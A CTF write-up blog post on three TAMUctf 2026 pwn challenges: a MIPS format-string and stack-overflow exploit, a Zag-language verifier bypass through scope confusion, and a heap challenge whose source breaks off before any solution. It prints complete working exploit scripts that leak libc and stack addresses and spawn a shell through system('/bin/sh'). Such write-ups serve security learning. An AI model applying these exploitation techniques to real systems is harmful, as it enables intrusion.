TAMUctf 2026

It's been quite a while now since I played TAMUctf 2026. I've been heavily procrastinating completing these writeups in the time since, but I've finally gotten around to wrapping them up. During the CTF I solved three pwn challenges and completely neglected the other (lesser) categories.

meep

$ tree
.
├── Dockerfile
├── Makefile.debug
├── entrypoint.sh
├── fake-flag.txt
├── lib-mips
│   ├── ld.so.1
│   ├── libc.so
│   ├── libc.so.6
│   ├── libgcc_s.so.1
│   └── libm.so.6
├── meep
└── solver-template.py

2 directories, 11 files
Dockerfile
FROM debian:bookworm-slim

RUN apt-get update && apt-get install -y \
    qemu-user-static \
    gdbserver \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /home
COPY meep /home/meep

ARG FLAG_FILE=flag.txt
COPY ${FLAG_FILE} /home/flag.txt

# Copy  MIPS loader & libs into /lib
COPY lib-mips/* /lib/

COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh

EXPOSE 1234 9001

# Run gdbserver via qemu-user-static
ENTRYPOINT ["/entrypoint.sh"]
Makefile.debug

NAME := meep

DOCKER_CONTEXT := default
DOCKER_GLOBAL := --context $(DOCKER_CONTEXT)
GDB_PORT := 1234
VULN_PORT := 9001

CPORTS := 9001
HPORTS := $(CPORTS)
DOCKER_RUNTIME := --read-only --tmpfs /tmp --cap-drop ALL --security-opt no-new-privileges --restart=always

build: Dockerfile
  docker $(DOCKER_GLOBAL) build -t $(NAME) . --build-arg FLAG_FILE=fake-flag.txt

run:
  docker $(DOCKER_GLOBAL) run --rm -it -e DEBUG=1 -p $(GDB_PORT):$(GDB_PORT) -p $(VULN_PORT):$(VULN_PORT) --name $(NAME) $(NAME)
entrypoint.sh
#!/bin/sh

if [ "$DEBUG" = "1" ]; then
    echo "[*] Running in DEBUG mode | Debug port at 1234"
    echo "Use gdb to connect to the process by running 'target remote localhost:1234' from gdb (or gdb-multiarch)"
    exec qemu-mips-static -g 1234 ./meep
else
    echo "[*] Running in normal mode"
    exec qemu-mips-static ./meep
fi
fake-flag.txt
gigem{testing_flag}
solver-template.py
from pwn import *

context.log_level = "debug"
io = remote("streams.tamuctf.com", 443, ssl=True, sni="meep")
io.interactive(prompt="")

This was the first challenge I solved and it took me far longer than it should've. But oh well, you live and you learn.

meep was an ELF file that targeted MIPS, an architecture I'd heard of but knew nothing useful about, and I still don't really, even after solving the challenge.

I began by compiling QEMU with MIPS as a target so I could run the challenge on my system. After it compiled, I realized that I'd have to patch the binary to use the libc and interpreter the challenge provided. However, I wasn't able to patch the ELF using my host's patchelf. That was a bit annoying. I then had two options: compile the MIPS toolchain, or solve the challenge in a Docker container. I opted for the latter as compiling the MIPS toolchain would take too long. From experience, the ARM one can take almost an hour!

So I created and ran a Docker container using the Dockerfile as a reference to find the exact image:

$ docker run -it debian:bookworm-slim

Having the exact image as the remote instance was nice. Since I was basically already on the remote instance, it meant that I didn't have to fumble around patching files or worry about my exploit not working remotely.

Next I installed the required tools, and while they were installing, I threw the binary into Ghidra and read the decompilation.

It was a server program that accepted connections on port 9001. Once a connection was made it would call two functions: greet and diagnostics. The decompilation revealed two blatant vulnerabilities: an uncontrolled format string and a stack buffer overflow.

The uncontrolled format string was in the greet function:

/* WARNING: Unknown calling convention */

void greet(_func_int_char_ptr *logger)

{
  code *in_a0;
  _func_int_char_ptr *my_logger;
  char name [128];

  send(1,"Enter admin name: ",0x12,0);
  recv(0,name,0x100,0);
  (*in_a0)(&UNK_00400f2c);
  printf(name);
  return;
}

And the stack buffer overflow was in the diagnostics function:

/* WARNING: Unknown calling convention -- yet parameter storage is locked */

void diagnostics(void)

{
  char cmd [128];

                    /* Unresolved local var: char * checker@[DW_OP_reg16(s0)]
                       Unresolved local var: char * checker2@[DW_OP_reg17(s1)] */
  send(1,"Enter diagnostic command:\n",0x1b,0);
  recv(0,cmd,0x100,0);
  send(1,"Running command...\n",0x13,0);
  if (cmd[0] == ' ') {
    send(1,"Cannot start with a space!\n",0xb,0);
  }
  if (cmd[0x7f] == ' ') {
    send(1,"Cannot end with a space!\n",0xb,0);
  }
  return;
}

The fact that the stack was executable was the cherry on top. At this point I knew exactly what I had to do. Well, at least in theory. The plan was to use the uncontrolled format string to get a stack leak, then use the stack buffer overflow to write shellcode on the stack, and then return to it.

Getting a nice debug setup for the challenge was also a bit annoying. This was partially because I had to use QEMU, but it was mainly because it was a server program. In the end I required three tmux panes!

The first pane was for QEMU to run the binary with a debug port:

$ qemu-mips-static -g 1234 meep
Listening on port 9001...

The second pane was for pwndbg to connect to the binary for remote debugging:

$ pwndbg meep
pwndbg: loaded 212 pwndbg commands. Type pwndbg [filter] for a list.
pwndbg: created 9 GDB functions (can be used with print/break). Type help function to see them.
Reading symbols from meep...
------- tip of the day (disable with set show-tips off) -------
Pwndbg resolves kernel memory maps by parsing page tables (default) or via monitor info mem QEMU gdbstub command (use set kernel-vmmap-via-page-tables off for that)
pwndbg> target remote localhost:1234
Remote debugging using localhost:1234

And the third pane was for my pwntools script to interact with the binary:

from pwn import *

context.binary = "./meep"
libc = ELF("lib-mips/libc.so.6")
t = remote("localhost", 9001)

I probably didn't actually need three panes and might've been able to kill two birds with one stone with pwntools, but there was no time for that sort of rational thinking in the heat of battle.

Information leaks

Once I got comfortable with the setup, it was off to write the exploit. The first step was to get a stack leak. That was easy with the uncontrolled format string. I sent in a bunch of %p format specifiers to read from the stack and got the sequence: (nil), 0x1, (nil), 0x419020, 0x7, 0x3fe3d3b0, 0x25702e25, 0x702e2570.

Using pwndbg I set a breakpoint on the printf call in greet to orient myself with the stack layout:

pwndbg> x/32a $sp
0x40800ba8:     0x0     0x0     0x1     0x0
0x40800bb8:     0x419020        0x7     0x3fe3d3b0 <puts>       0x25702e25
0x40800bc8:     0x702e2570      0x2e25702e      0x25702e25      0x702e2570
0x40800bd8:     0x2e25702e      0xa702c20       0x252c2025      0x2c20702c
0x40800be8:     0x20252c20      0x252c2070      0x2c20252c      0x20252c20
0x40800bf8:     0x702c2025      0x2c20252c      0x20702c20      0x252c2025
0x40800c08:     0x2c20705d      0xa000001       0x40800da4      0x1
0x40800c18:     0x0     0x411004        0x400ac8 <main> 0x3ffd30f4

You can see the values I read began right at the stack pointer. Further down I saw a nice stack address on the stack at 0x40800c10. That was the 40th format specifier and I could read it with %40$p. I also decided to get a libc leak using the puts address at 6th format specifier using %6$p. Getting the libc leak wasn't part of the initial plan, but I figured that I might as well.

Code execution

Now that I had a stack leak and a libc leak, it was time to utilize that stack buffer overflow and get some shellcode on the stack. I prefer to write shellcode last and just make sure that I can return to the buffer that I control first. Using the leak, and a few more breakpoints, I calculated the buffer address was 0x90 bytes before the stack leak. Ghidra told me that the return address was also on the stack, however it said I had to write 0x90 bytes to reach it even though I only actually had to write 0x8c bytes.

I couldn't be bothered learning the MIPS architecture so I asked an LLM about the calling conventions and how to pass an address to a function. The plan was to call system("/bin/sh"). I had a libc leak after all.

In the end, I created the shellcode with:

system = libc.sym.system
binsh  = next(libc.search(b'/bin/sh'))

shellcode = asm(f'''
    lui  $a0, 0x{(binsh >> 16) & 0xffff:04x}
    ori  $a0, $a0, 0x{binsh & 0xffff:04x}
    lui  $t9, 0x{(system >> 16) & 0xffff:04x}
    ori  $t9, $t9, 0x{system & 0xffff:04x}
    jalr $t9
    nop
''')

Conclusion

The exploit just worked both locally and on the remote instance. The flag was gigem{m33p_m1p_1_n33d_4_m4p}. Overall, it was an easy challenge with very classic pwn challenge tropes. The fact that it was MIPS just added that extra bit of agitation.

Below was my final exploit:

#!/usr/bin/env python3

from pwn import *

context.binary = "./meep"
libc = ELF("lib-mips/libc.so.6")

def main():
    t = remote("localhost", 9001)

    t.sendlineafter(b"Enter admin name: ", b"puts:%6$p:stack:%40$p:")
    t.recvuntil(b"puts:")
    puts = eval(t.recvuntil(b":", True))
    t.recvuntil(b"stack:")
    stack = eval(t.recvuntil(b":", True))

    libc.address = puts - libc.sym.puts
    buf = stack - 0x90

    system = libc.sym.system
    binsh  = next(libc.search(b'/bin/sh'))

    shellcode = asm(f'''
    lui  $a0, 0x{(binsh >> 16) & 0xffff:04x}
    ori  $a0, $a0, 0x{binsh & 0xffff:04x}
    lui  $t9, 0x{(system >> 16) & 0xffff:04x}
    ori  $t9, $t9, 0x{system & 0xffff:04x}
    jalr $t9
    nop
    ''')

    t.sendlineafter(b"Enter diagnostic command:\n", shellcode.ljust(0x8c, b"A") + p32(buf))

    t.interactive()

if __name__ == "__main__":
    main()

zagjail

$ tree
.
├── Dockerfile
├── ld-linux-x86-64.so.2
├── libc.so.6
├── server.py
├── solver-template.py
└── zag

1 directory, 6 files
Dockerfile
FROM debian@sha256:1d3c811171a08a5adaa4a163fbafd96b61b87aa871bbc7aa15431ac275d3d430 AS base

RUN apt-get update -y; apt-get install build-essential git python3 -y

RUN git clone https://github.com/macsencasaus/zag.git
WORKDIR /zag

RUN git checkout 3c52893
RUN ./build.sh

FROM pwn.red/jail

COPY --from=base / /srv

RUN mkdir -p /srv/app
COPY --from=base /zag/build/release/zag /srv/app/zag
RUN chmod 755 /srv/app/zag
COPY server.py /srv/app/server.py
COPY flag.txt /srv/app/flag.txt

RUN echo -e "#!/bin/sh\npython3 server.py" > /srv/app/run && chmod 555 /srv/app/run
ENV JAIL_TIME=120 JAIL_PIDS=100 JAIL_MEM=300M JAIL_CPU=300 JAIL_TMP_SIZE=100M JAIL_ENV_CC=/usr/bin/cc JAIL_ENV_PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
server.py
#!/usr/bin/env python3
import os
import re
import tempfile
import subprocess

ZAG_BINARY      = os.environ.get("ZAG_BINARY", "/app/zag")
MAX_SRC_SIZE    = 32 * 1024  # 32 KB
COMPILE_TIMEOUT = 10         # seconds

BANNER = """\
=== Zag Jail ===
Submit your Zag source code. End with <EOF>.
Rules:
  - extern is not allowed
  - pointer arithmetic (p + N, p - N) is not allowed, that would be too easy :)
  - out-of-bounds subscript accesses are not allowed
===
"""

TYPE_SIZES = {
    'i8': 1,  'u8': 1,
    'i16': 2, 'u16': 2,
    'i32': 4, 'u32': 4,
    'i64': 8, 'u64': 8,
    'f32': 4, 'f64': 8,
}


def die(msg: str) -> None:
    print(msg)
    raise SystemExit(1)


class PtrState:
    __slots__ = ('origin', 'length', 'elem_size', 'index', 'tainted')

    def __init__(self, origin: str, length: int, elem_size: int, index: int = 0):
        self.origin    = origin
        self.length    = length
        self.elem_size = elem_size
        self.index     = index
        self.tainted   = False

    def clone(self) -> 'PtrState':
        s = PtrState(self.origin, self.length, self.elem_size, self.index)
        s.tainted = self.tainted
        return s


# Master tokeniser: alternatives tried left-to-right, most specific first.
_TOKEN = re.compile(
    r'(?P<STR>"(?:[^"\\]|\\.)*")'
    r"|(?P<CHR>'(?:[^'\\]|\\.)*')"
    r"|(?P<CTRL>\b(?:while|if)\b)"
    r"|(?P<ELSE>\belse\b)"
    r"|(?P<OPEN>\{)"
    r"|(?P<CLOSE>\})"
    r"|(?P<VPI>\bvar\s+\w+\s*:\s*\*\w+\s*=\s*&\w+\s*\[\d+\])"
    r"|(?P<VPB>\bvar\s+\w+\s*:\s*\*\w+\s*=\s*&\w+(?!\s*\[))"
    r"|(?P<VPC>\bvar\s+\w+\s*:\s*\*\w+\s*=\s*\w+)"
    r"|(?P<RAI>\b\w+\s*=\s*&\w+\s*\[\d+\])"
    r"|(?P<RAB>\b\w+\s*=\s*&\w+(?!\s*\[))"
    r"|(?P<PTRASSIGN>\b\w+\s*=\s*\w+\b(?!\s*[+\-]))"
    r"|(?P<POSTINC>\b\w+\+\+)"
    r"|(?P<PREINC>\+\+\w+\b)"
    r"|(?P<POSTDEC>\b\w+--)"
    r"|(?P<PREDEC>--\w+\b)"
    r"|(?P<SUB>\b\w+\s*\[\d+\])"
    r"|(?P<VSUB>\b\w+\s*\[[^\]]*\])"
    r"|(?P<DEREF>\*\w+\b)"
    r"|(?P<ARITH>\b\w+\s*[+\-](?![+\-=]))"
)

_re = {
    'VPI':        re.compile(r'var\s+(\w+)\s*:\s*\*(\w+)\s*=\s*&(\w+)\s*\[(\d+)\]'),
    'VPB':        re.compile(r'var\s+(\w+)\s*:\s*\*(\w+)\s*=\s*&(\w+)'),
    'VPC':        re.compile(r'var\s+(\w+)\s*:\s*\*(\w+)\s*=\s*(\w+)'),
    'RAI':        re.compile(r'(\w+)\s*=\s*&(\w+)\s*\[(\d+)\]'),
    'RAB':        re.compile(r'(\w+)\s*=\s*&(\w+)'),
    'PTRASSIGN':  re.compile(r'(\w+)\s*=\s*(\w+)'),
    'INCDEC':     re.compile(r'(\w+)'),
    'SUB':        re.compile(r'(\w+)\s*\[(\d+)\]'),
    'VSUB':       re.compile(r'(\w+)\s*\[([^\]]*)\]'),
    'DEREF':      re.compile(r'\*(\w+)'),
    'ARITH':      re.compile(r'(\w+)'),
}


def check_pointer_safety(src: str) -> None:
    src = re.sub(r'//[^\n]*', '', src)

    arrays: dict[str, tuple[int, int]] = {}
    for m in re.finditer(r'\bvar\s+(\w+)\s*:\s*\[(\d+)\](\w+)', src):
        arrays[m.group(1)] = (int(m.group(2)), TYPE_SIZES.get(m.group(3), 8))

    scalars: dict[str, int] = {}
    for m in re.finditer(r'\bvar\s+(\w+)\s*:\s*([a-z]\w*)(?!\s*[\[*])', src):
        name, t = m.group(1), m.group(2)
        if name not in arrays and t in TYPE_SIZES:
            scalars[name] = TYPE_SIZES[t]

    def resolve(name: str) -> tuple[int, int] | None:
        if name in arrays:  return arrays[name]
        if name in scalars: return (1, scalars[name])
        return None

    ptrs: dict[str, PtrState] = {}
    ctx: list[bool] = []
    last_ctrl = False

    def in_cond() -> bool:
        return any(ctx)

    def bounds_check(name: str, offset: int, what: str) -> None:
        if name not in ptrs:
            return
        s = ptrs[name]
        if s.tainted:
            die(f"Rejected: '{name}' was mutated inside a loop or conditional; "
                f"subscript access is not allowed on tainted pointers.")
        access = s.index + offset
        if access < 0 or access >= s.length:
            die(f"Rejected: {what} accesses tracked index "
                f"{s.index}{'+' if offset >= 0 else ''}{offset} = {access}, "
                f"out of bounds for '{s.origin}' (length {s.length}).")

    for m in _TOKEN.finditer(src):
        k   = m.lastgroup
        txt = m.group(0)

        if k in ('STR', 'CHR'):
            last_ctrl = False
        elif k == 'CTRL':
            last_ctrl = True
        elif k == 'ELSE':
            last_ctrl = True
        elif k == 'OPEN':
            ctx.append(last_ctrl)
            last_ctrl = False
        elif k == 'CLOSE':
            if ctx: ctx.pop()
            last_ctrl = False
        else:
            last_ctrl = False

            if k == 'VPI':
                name, t, arr, idx = _re['VPI'].search(txt).groups()
                info = resolve(arr)
                if info:
                    length, _ = info
                    init_idx = int(idx)
                    if init_idx < 0 or init_idx >= length:
                        die(f"Rejected: initial pointer index {init_idx} is out of bounds "
                            f"for '{arr}' (length {length}).")
                    ptrs[name] = PtrState(arr, length, TYPE_SIZES.get(t, 8), init_idx)
                else:
                    die(f"Rejected: '{arr}' is not a known array or scalar.")

            elif k == 'VPB':
                name, t, arr = _re['VPB'].search(txt).groups()
                info = resolve(arr)
                if info:
                    ptrs[name] = PtrState(arr, info[0], TYPE_SIZES.get(t, 8))
                else:
                    die(f"Rejected: '{arr}' is not a known array or scalar.")

            elif k == 'VPC':
                name, t, src_ptr = _re['VPC'].search(txt).groups()
                if src_ptr in ptrs:
                    src = ptrs[src_ptr]
                    new_elem = TYPE_SIZES.get(t, 8)
                    total_bytes = src.length * src.elem_size
                    byte_offset = src.index * src.elem_size
                    new_length = total_bytes // new_elem
                    new_index  = byte_offset // new_elem
                    ptrs[name] = PtrState(src.origin, new_length, new_elem, new_index)
                    ptrs[name].tainted = src.tainted
                else:
                    die(f"Rejected: '{src_ptr}' is not a tracked pointer.")

            elif k == 'RAI':
                ptr, arr, idx = _re['RAI'].search(txt).groups()
                if ptr in ptrs:
                    info = resolve(arr)
                    if info:
                        ptrs[ptr].origin  = arr
                        ptrs[ptr].length  = info[0]
                        ptrs[ptr].index   = int(idx)
                        ptrs[ptr].tainted = False

            elif k == 'RAB':
                ptr, arr = _re['RAB'].search(txt).groups()
                if ptr in ptrs:
                    info = resolve(arr)
                    if info:
                        ptrs[ptr].origin  = arr
                        ptrs[ptr].length  = info[0]
                        ptrs[ptr].index   = 0
                        ptrs[ptr].tainted = False

            elif k == 'PTRASSIGN':
                ptr, rhs = _re['PTRASSIGN'].search(txt).groups()
                if ptr in ptrs:
                    if in_cond():
                        ptrs[ptr].tainted = True
                    elif rhs in ptrs:
                        ptrs[ptr] = ptrs[rhs].clone()
                    else:
                        ptrs[ptr].tainted = True

            elif k in ('POSTINC', 'PREINC'):
                name = _re['INCDEC'].search(txt).group(1)
                if name in ptrs:
                    if in_cond(): ptrs[name].tainted = True
                    else:         ptrs[name].index += 1

            elif k in ('POSTDEC', 'PREDEC'):
                name = _re['INCDEC'].search(txt).group(1)
                if name in ptrs:
                    if in_cond(): ptrs[name].tainted = True
                    else:         ptrs[name].index -= 1

            elif k == 'SUB':
                name, idx = _re['SUB'].search(txt).groups()
                idx = int(idx)
                if name in arrays:
                    length, _ = arrays[name]
                    if idx < 0 or idx >= length:
                        die(f"Rejected: '{name}[{idx}]' is out of bounds "
                            f"for '{name}' (length {length}).")
                elif name in ptrs:
                    bounds_check(name, idx, f"'{name}[{idx}]'")
                else:
                    die(f"Rejected: subscript on untracked variable '{name}'.")

            elif k == 'VSUB':
                name, expr = _re['VSUB'].search(txt).groups()
                if name in arrays:
                    die(f"Rejected: non-literal subscript '{name}[{expr.strip()}]' "
                        f"on array '{name}'.")
                elif name in ptrs:
                    die(f"Rejected: non-literal subscript '{name}[{expr.strip()}]' "
                        f"on tracked pointer '{name}'.")
                else:
                    die(f"Rejected: subscript on untracked variable '{name}'.")

            elif k == 'DEREF':
                name = _re['DEREF'].search(txt).group(1)
                if name in TYPE_SIZES:
                    pass  # type annotation (*u32 etc.), not a dereference
                elif name in ptrs:
                    bounds_check(name, 0, f"'*{name}'")
                else:
                    die(f"Rejected: dereference of untracked pointer '{name}'.")

            elif k == 'ARITH':
                name = _re['ARITH'].search(txt).group(1)
                if name in ptrs:
                    die(f"Rejected: explicit pointer arithmetic on '{name}';")


def validate(src: str) -> None:
    if re.search(r'\bextern\b', src):
        die("Rejected: 'extern' is not allowed.")
    check_pointer_safety(src)


def main() -> None:
    print(BANNER, end="")

    lines = []
    total = 0
    try:
        while True:
            line = input()
            if line == '<EOF>':
                break
            line += '\n'
            total += len(line.encode())
            if total > MAX_SRC_SIZE:
                die("Error: source too large (max 32 KB).")
            lines.append(line)
    except EOFError:
        pass

    src_text = "".join(lines)
    validate(src_text)

    with tempfile.TemporaryDirectory(prefix="zagjail_") as tmpdir:
        src_path = os.path.join(tmpdir, "program.zag")
        bin_path = os.path.join(tmpdir, "program")

        with open(src_path, "w") as f:
            f.write(src_text)

        print("Compiling...")
        try:
            result = subprocess.run(
                [ZAG_BINARY, src_path, "-o", bin_path],
                capture_output=True,
                text=True,
                timeout=COMPILE_TIMEOUT,
            )
        except subprocess.TimeoutExpired:
            die("Error: compilation timed out.")
        except FileNotFoundError:
            die("Error: compiler not found.")

        if result.returncode != 0:
            print("Compilation failed:")
            print(result.stderr[:2048])
            raise SystemExit(1)

        # check if the binary was actually created
        if not os.path.isfile(bin_path):
            die("Error: compiled binary not found, did you break the compiler :p")

        print("Running...")
        os.execv(bin_path, [bin_path])


if __name__ == "__main__":
    main()
solver-template.py
from pwn import *

io = remote("streams.tamuctf.com", 443, ssl=True, sni="zagjail")
io.interactive(prompt="")

The name of this challenge indicated very early on what I was in for. It was a jail challenge. Now I hadn't played too many jail challenges before, but I understood the chief concept. You're normally given something which is typically easy to exploit, however, restrictions are added which place you in a sort of "jail" where you have to bypass the restrictions in order to "escape".

Based on the challenge's name, I thought that it was going to be Zig-related. But no, Zag is actually a toy programming language created by someone who the author was evidently quite fond of.

To understand Zag, I didn't need to look much further than the repository's README which contained substantial examples. The syntax was similar to Rust and that's actually what I used for syntax highlighting in vim with set filetype=rust.

Program verifier

For this challenge, the jail restrictions took the form of a program verifier implemented in server.py which restricted certain parts of the language. A comment in the source code stated clearly a few things that it would try to restrict. External definitions, pointer arithmetic, and out-of-bounds subscript accesses were not allowed. But as you can probably guess, those stated restrictions were not adequately enforced.

The program verifier created a list of regex tokens which weren't really tokens in the common lexer understanding of the term, they were more high level. It would then iterate over each token in the Zag program's source code in a single pass, and for each token it encountered, it would run certain checks using the context it had built up so far.

The PtrState class was one mechanism which enabled the program verifier to run its checks:

class PtrState:
    __slots__ = ('origin', 'length', 'elem_size', 'index', 'tainted')

    def __init__(self, origin: str, length: int, elem_size: int, index: int = 0):
        self.origin    = origin
        self.length    = length
        self.elem_size = elem_size
        self.index     = index
        self.tainted   = False

    def clone(self) -> 'PtrState':
        s = PtrState(self.origin, self.length, self.elem_size, self.index)
        s.tainted = self.tainted
        return s

The program verifier tracked the state of Zag pointers, which are similar to C pointers, through the PtrState class. It created a dictionary called ptrs which associated each Zag pointer in a program with a PtrState object. That way, at a point in time, the program verifier could query the dictionary to determine which operations could be performed on a pointer.

Writing Zag

It was time to write some Zag code. First, I patched the Zag compiler zag with the provided libc and dynamic linker:

$ patchelf --set-interpreter ~/zagjail/ld-linux-x86-64.so.2 --set-rpath ~/zagjail/ zag

Then I created a file main.zag and wrote the most boilerplate Zag program possible which did nothing:

fn main() i32 {
    return 0;
}

Finally, I compiled it with:

$ ./zag main.zag

That produced a dynamically linked output ELF file main which was linked with libc. Therefore, I also had to patch it for consistency. The fact that it was linked with libc proved to be rather important later down the line.

Throughout the start of me working on this challenge I had no direction, I didn't know exactly how I was going to get code execution. I just fumbled around seeing if I could get a meaningful segfault. I spent quite a while just spam coding and realized that Zag functions would segfault without a return statement. It was almost like forgetting to call exit when writing assembly; the program counter just keeps going.

My main issue was that I kept thinking about function pointers. I thought that the way to get code execution would be through legitimate means of the program itself. After a few futile attempts, I realized that this language was no C: I couldn't do function pointer stuff. Also, to my disappointment, pointer arithmetic was pretty hardened. All of my attempts were failing; I felt like I hit a wall, or maybe it was just a skill issue.

I tried to clear my head and just think about what I had to do fundamentally. I had to make the program verifier believe that my invalid memory accesses were valid when they weren't. That led me to the fatal flaw in the program verifier: scope.

Program verifier vulnerability

After many segfaults and program verifier fails, I realized that the program verifier didn't have a proper notion of scope. It tried to handle scope in a few narrow cases. It would check if a pointer was mutated in a loop or conditional and mark the pointer as tainted which prevented you from accessing it afterwards. However, if you didn't modify the pointer, and say, just declared it, then it would remain untainted.

Consider the C code below:

uint64_t arr[1];

int main() {
  {
    uint64_t arr[2048];
  }

  arr[2048];

  return 0;
}

Imagine that the program verifier was for C. First, it would see arr defined at global scope. It would then associate arr with a PtrState of length 1. Then it would continue down to the second definition of arr. You and I know that this arr definition is only valid within the compound statement. However, the program verifier doesn't know this and it would override the previous association, associating arr with a PtrState of length 2048. So outside of the compound statement, when you then index into arr at index 2047, even though you're actually referencing the global arr of length 1, it will allow the index as it's most recent association says that the length of arr is 2048.

Here's how it would look in Zag:

var arr: [1]u64;

fn main() i32 {
    {
        var arr: [2048]u64;
    }

    arr[2047];

    return 0;
}

This was the epiphany I needed. However, I needed a much larger OOB accesses than 2047 bytes. The problem with making the second definition of arr much larger was that it was on the stack and the program would segfault trying to allocate the frame. Luckily, I didn't even have to put the second definition inside a function that got called.

The following code worked too:

var arr: [1]u64;

fn foo() i32 {
    var arr: [18446744073709551615]u64;

    return 0;
}

fn main() i32 {
    arr[2047];

    return 0;
}

So now I could make arr as large as I wanted. And since I never called bar, the second definition would never see the light of day. However, there was one limitation of this newer method: arr wasn't on the stack anymore. I could only get OOB access on a global variable and was effectively blinded from the stack due to ASLR. If I wanted to get OOB access on a stack variable in a function, I'd need to resort back to the compound statement approach. I'd just have to be careful of the size.

At this point I effectively had an arbitrary read and write primitive. Then came the classic question of what to do with it. The Zag compiler still linked with libc so I had all that goodness to play with. Concretely, I knew that my favorite function system was somewhere in memory, just begging to be called.

Libc leak

I decided to get a libc leak first. To do this I read from the global offset table (GOT) using an OOB read on a global array. Put simply, global objects are either stored in an ELF file's bss or data section depending on whether they are initialized or not. In my case, I had an uninitialized global array, so it ended up in the bss section.

You can think of the GOT as a magical table that tells a dynamically linked program where other symbols are in other shared libraries. That's a gross oversimplification but bear with me. In this case, since the program was dynamically linked with libc, some entries in the GOT contained libc addresses.

Below were the dynamic symbols in my output Zag program:

$ nm -D main
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
                 w __cxa_finalize@GLIBC_2.2.5
                 w __gmon_start__
                 U __libc_start_main@GLIBC_2.34

In my program, the global array was somewhere in the bss section which was actually ahead of the got section in the ELF file. But luckily I could use a negative index and it just seemed to work. It turned out the program verifier didn't check for negative OOB accesses.

Now it's important to note that I couldn't print the leak. In the Zag program I'd do the OOB read and assign it to a variable. Then, I'd have to fire up GDB to verify that the OOB read was what I expected.

Code execution

From the libc leak, I knew where system was and I could overwrite the return address using an OOB write on a stack array. Overwriting the return address was all well and good, but I couldn't forget about arguments. I needed /bin/sh as the first argument, or concretely, I needed it in the rdi register. I used a neat trick I learned a while ago from the Run-time ABI for the Arm Architecture to control which registers a function returns its arguments in.

When you call a function, the arguments get placed in predictable registers. If said function simply returns without doing anything, you can use that function to set the argument registers. In my case, I wanted /bin/sh to be in the rdi register which is the first argument. So if I called a stub system function and passed in /bin/sh and returned immediately, then after I returned, rdi would still be set to /bin/sh.

Also debugging this challenge to find the correct offsets for my OOB accesses was a bit annoying. The Zag compiler didn't give global objects their own symbols and the C decompilation wasn't super nice. I mean it was nice enough, but throwing it into Ghidra after each compilation got a bit cumbersome. To find the correct stack offset I basically wrote a known value at some offset and then set a breakpoint before returning to look at the stack. I located where I had written to see how far off I was from the return address and just adjusted my offset accordingly.

Conclusion

Unfortunately my local exploit didn't work on the remote instance the first try. Luckily I had the Dockerfile and after some debugging, I realized that my libc leak was wrong I had to change the index from -7 to -10.

I actually enjoyed this challenge. I liked how there wasn't a screaming vulnerability in your face. It was interesting how you didn't just have to exploit the program verifier, you also had to kind of exploit the program you wrote too.

Below was my final Zag program:

var global_arr: [1]u64;
var binsh: [8]u8 = {'/', 'b', 'i', 'n', '/', 's', 'h', 0};

fn system_stub(command: *u8) i32 {
    return 0;
}

fn main() i32 {
    var local_arr: [1]u64;
    var system: u64;

    {
        var local_arr: [3]u64;
    }

    system = global_arr[-7] + 169030;
    system_stub(&binsh);
    local_arr[2] = system;

    return 0;
}

Task Manager

$ tree
.
├── ld-linux-x86-64.so.2
├── libc.so.6
├── solver-template.py
├── task-manager
└── task-manager.c

1 directory, 5 files
solver-template.py
from pwn import *

context.log_level = "debug"
io = remote("streams.tamuctf.com", 443, ssl=True, sni="task-manager")
io.interactive(prompt="")
task-manager.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

#define ADD_TASK 1
#define PRINT_TASK 2
#define DELETE_TASK 3
#define ADD_REMINDER 4
#define EXIT_TASK 5

// IGNORE THIS:
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}


// struct for Tasks
typedef struct Tasks {
  char task[80];
  struct Tasks* next;
} Tasks;

// struct for Task Pointer
typedef struct {
  int sel;
  Tasks** head;
  char reminder[72];
} TaskHead;

// Size of task list
unsigned long long size = 0;


// Deletes last task
inline __attribute__((always_inline)) void cleanup(Tasks** tasks) {
  // If last entry, removal process requires two frees
  if (size == 1) {
    free((*tasks)->next);
    (*tasks)->next = NULL;
    free(*tasks);
    *tasks = NULL;
    return;
  }

  // Iterates until last task is reached
  Tasks* temp = *tasks;
  for (unsigned long long i = 1; i < size; ++i) {
    temp = temp->next;
  }

  // Freeing next pointer
  free(temp->next);
  temp->next = NULL;
  return;
}


// Prints all tasks
inline __attribute__((always_inline)) void print_tasks(Tasks* tasks) {
  // Do not print if no tasks exist
  if (size < 1) {
    puts("No tasks to print!\n");
    return;
  }

  // Printing all tasks:
  printf("Task #1: %s\n", tasks->task);
  Tasks* temp = tasks;
  for (unsigned long long i = 2; i <= size; ++i) {
    temp = temp->next;
    printf("Task #%lld: %s\n", i, temp->task);
  }
  puts("");
}


// Add a reminder
inline __attribute__((always_inline)) void add_reminder(TaskHead* task_pointer) {
  printf("Old reminder: %s\n", task_pointer->reminder);

  // Enter info for reminder
  printf("Enter reminder (max. 72 characters): ");
  read(0, task_pointer->reminder, 72);

  printf("Reminder you entered: %s\n", task_pointer->reminder);
  return;
}


// Creates new task
inline __attribute__((always_inline)) void create_tasks(Tasks** tasks) {
  Tasks* temp = NULL;

  // If no tasks exist, create Tasks struct
  if (*tasks == NULL) {
    *tasks = malloc(sizeof(Tasks));
    temp = *tasks;
    temp->next = malloc(sizeof(Tasks));
  }
  // Otherwise, create next task
  else {
    temp = *tasks;
    for (unsigned long long i = 1; i <= size; ++i) {
      temp = temp->next;
    }
    temp->next = malloc(sizeof(Tasks));
  }

  // Enter info for new task
  printf("Enter task (max. 80 characters): ");
  read(0, temp->task, 88);

  printf("Task you entered: %s\n", temp->task);
}


int main() {
  init();

  // Initializing variables
  Tasks* tasks = NULL;
  TaskHead* taskPointer = malloc(sizeof(TaskHead));
  taskPointer->head = &tasks;
  taskPointer->sel = 0;

  // Entering name
  char name[40] = "\0";
  printf("Enter your name (max. 40 characters): ");
  read(0, name, 40);

  printf("Welcome, %s!\n", name);
  puts("Welcome to Task Manager!\n");

  // Menu
  while (1) {
    if ((char)taskPointer->reminder != "\0") {
      printf("Reminder: %s\n", taskPointer->reminder);
    }
    puts("1. Add New Task");
    puts("2. Print All Tasks");
    puts("3. Delete Last Task");
    puts("4. Add Reminder");
    puts("5. Exit");

    printf("Enter your input: ");
